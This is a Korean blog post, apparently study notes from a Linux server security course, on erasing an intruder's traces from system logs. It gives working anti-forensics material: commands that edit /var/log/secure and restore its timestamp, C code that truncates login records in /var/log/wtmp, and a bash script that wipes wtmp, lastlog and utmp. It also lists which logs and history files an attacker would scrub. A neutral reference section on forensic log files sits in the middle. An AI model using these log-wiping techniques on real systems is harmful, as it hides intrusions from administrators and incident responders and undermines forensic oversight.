/var/log/wtmp (data file) -> last CMD
/var/run/utmp (data file) -> who CMD
# cd /var/log
# mv wtmp wtmp.old
# last
# mv wtmp.old wtmp
# last
(Hacker) Text Log Format
# cd /var/log
# ls -l secure > secure.time
# vi secure
.... 적당한 라인 삭제 ....
# cat secure.time
# touch -t <시간> secure
(Hacker) Data Log Format
structure
# man utmp
# man wtmp
# vi Script.sh
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#include <stdio.h>
#include <utmp.h>
#define UTMP_SIZE 3000 //wtmp파일에 있는 utmp구조체 개수
int main(int argc, char **argv)
{
int FILE_SIZE; //wtmp파일의 크기
int COUNT; //새로 저장할 utmp구조체 수
int DELETE_LINE; //삭제할 라인 수
char *ARGV=argv[1]; //인자 주소값 저장
struct utmp S[UTMP_SIZE]; //utmp구조체를 임시로 저장하기 위한 배열
FILE* stream01; //wtmp파일에서 utmp구조체를 읽어오기 위한 파일스트림
FILE* stream02; //wtmp파일에 새로운 utmp구조체를 쓰기 위한 파일스트림
DELETE_LINE=atoi(ARGV); //문자형태의 인자값을 정수로 변환하여 저장
stream01=fopen("/var/log/wtmp", "rb"); //wtmp파일을 바이너리, 읽기 모드로 오픈
fseek(stream01, 0, SEEK_END);
FILE_SIZE=ftell(stream01); //파일의 크기 전체 크기 측정
fseek(stream01, 0, SEEK_SET);
COUNT=FILE_SIZE/sizeof(S[0]); //utmp구조체 전체 개수 계산
COUNT=COUNT-DELETE_LINE; //삭제할 utmp구조체 개수 제외
fread(S, sizeof(S[0]), COUNT, stream01); //wtmp파일의 utmp구조체를 배열에 임시보관
stream02=fopen("/var/log/wtmp", "wb"); //wtmp파일을 바이너리, 쓰기 모드로 오픈
fwrite(S, sizeof(S[0]), COUNT, stream02); //utmp배열의 data를 wtmp파일에 새로쓰기
fclose(stream01); //파일스트림 종료
fclose(stream02); //파일스트림 종료
return 0;
}
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
<자신의 로그 지우기 >
/etc/syslog.conf 에서 로그상태를 분석해서 로그를 찾아나간다.
/var/log/authlog 파일syslogd에 의해 auth에서 발생하는 notice 수준의 메시지가 시스템에서 발생했을 경우 그 내용을 기록한다
/tmp/ 에서 자신의 흔적을 지운다
/var/adm/messages 접속 실패 기록이 남음
/var/adm/loging 로그인 기록이 남음
/var/log/syslog 커널,시스템 오류에 대한 기록이 남음
/var/adm/sulog 에서 su 명령어를 쓴 자신의 흔적을 지운다.
/.history 에서 자신이 쳤던 명령어 리스트를 지운다.
/var/log/wtmp
- 사용자들의 로그인-아웃 정보 기록
- 바이너리 형태이며 지금까지 사용자들의 로그인, 로그아웃 히스토리를 모두 누적형태로 저장
- 시스템의 셧다운, 부팅 히스토리까지 포함(해킹 피해 시스템 분석 시 중요로그)
- 사용 명령어 : last
/var/log/utmp
- 시스템에 현재 로그인한 사용자들에 대한 상태를 기록
- /var/run(Linux) 혹은 /var/adm, /etc/(Solaris)등에 위치하며 바이너리 형태로
저장되어 vi 편집기 등으로는 읽을 수 없음
- utmp(x) 파일은 기본적으로 사용자 이름, 터미널 장치 이름, 원격 로그인 시
원격 호스트 이름, 사용자 로그인한 시간 등을 기록
- 사용 명령어 : who, w, whodo, users, finger
- "w"는 utmp(x)를 참조하여 현재 시스템에 성공적으로 로그인한 사용자에 대한 snapshot을
제공해 주는 명령으로 해킹 피해 시스템 분석 시에 반드시 실행해 보아야 하는 명령어
※ wtmp, wtmpx와 파일 포맷은 동일하나 ump(x)에는 현재 시스템에 대한 정보가 남고
wtmp(x)에는 누적된 정보가 남는다는 것이 가장 큰 차이점
/var/log/lastlog
- /etc/passwd 파일에 정의되어 있는 모든 계정의 최근 접속 정보를 확인 가능
- 사용자의 최근 로그인 시간을 사용자 이름, 터미널, IP 주소, 마지막 로그인 시간 출력
- /var/log/lastlog 파일에 저장되고 바이너리 형태
- 사용 명령어 : lastlog
FTP 로그(/var/log/xferlog)
- ftp나 ncftp등의 접속이 이루어 졌을 때 이 로그파일에 기록
- ftp 사용했을 때 이 로그파일에 기록되고, 업로드 파일과 다운로드한 파일들에 대한 자세한 기록 저장
웹 로그(/var/log/httpd/access_log, /var/log/httpd/error_log)
Access log
- 웹사이트에 접속했던 사람들이 각 파일들을 요청했던 실적을 기록해놓은 목록을 저장
- 방문자의 IP 또는 도메인 네임, 방문자가 파일을 요청한 시간, 방문자가 웹서버에 요청한
처리 내용(Get, Put, Head), 방문자가 요구한 파일의이름, 파일의 크기 및 처리결과 등의 데이터제공
Error log
- 요청한 홈페이지가 없거나 링크가 잘못되는 등의 오류가 있을 경우에 생성
/var/log/btmp
- 로그인 시도 5번 이상 실패한 로그 기록을 확인 가능
- 계정명, 접속 콘솔/터미널 유무, IP, 시간 정보 출력
- /var/log/btmp에 바이너리 형태로 저장
- 사용 명령어 : lastb
History (해당 계정의 home directory/.bash_history)
- 접속한 계정에서 사용했던 명령어의 내역만 보여줌
- root의 경우 ~/.bash_history에 사용한 명령어가 저장
- 저장되는 로그의 위치를 변경하려면 export HISTFILE="경로/파일이름“ 입력
Pacct(/var/account/pacct)
- 시스템에 들어온 사용자가 어떤 명령어를 실행시키고 어떠한 작업을 했는지에 대한
사용 내역 등이 기록
- 사용된 명령어의 argument와 그 명령어가 시스템 내 어느 파일 시스템의 어느 디렉토리에
실행되었는지는 기록되지 않음
- /var/account/pacct에 바이너리 파일로 기록
(자동으로 생성되지 않을 경우 : accton /var/account/pacct)
- 파일 크기가 쉽게 커지기 때문에 관리가 필요한 파일
- 사용 명령어 : lastcomm / acctcom
[출처] Linux Log File Ⅰ|작성자 황소
기타
1.chkrootkit 사용 chkwtmp.c(www.packetstormsecurity.nl)
2.zap 사용
커맨드 사용
|
스크립트 사용
#!/bin/bash
LOG_DIR=/var/log LOG_DIR=/var/run cd $LOG_DIR
if [ -n $1 ] then lines=$1 else lines=50 fi
cat /dev/null > wtmp cat /dev/null > lastlog cat /dev/null > utmp echo "Logs clean." exit |
'Learning > └◆리눅스 서버 보안' 카테고리의 다른 글
08.2_LOIC(Low Orbit lon Cannon) 툴을 사용한 DoS Attack (0) | 2017.03.15 |
---|---|
08.1_DoS_DDoS_SNORT (0) | 2017.03.15 |
02_로그보안_03_URL_리눅스로그지우기 (0) | 2017.03.14 |
02_로그보안 02_로그 분석 (리눅스침해사고) (0) | 2017.03.14 |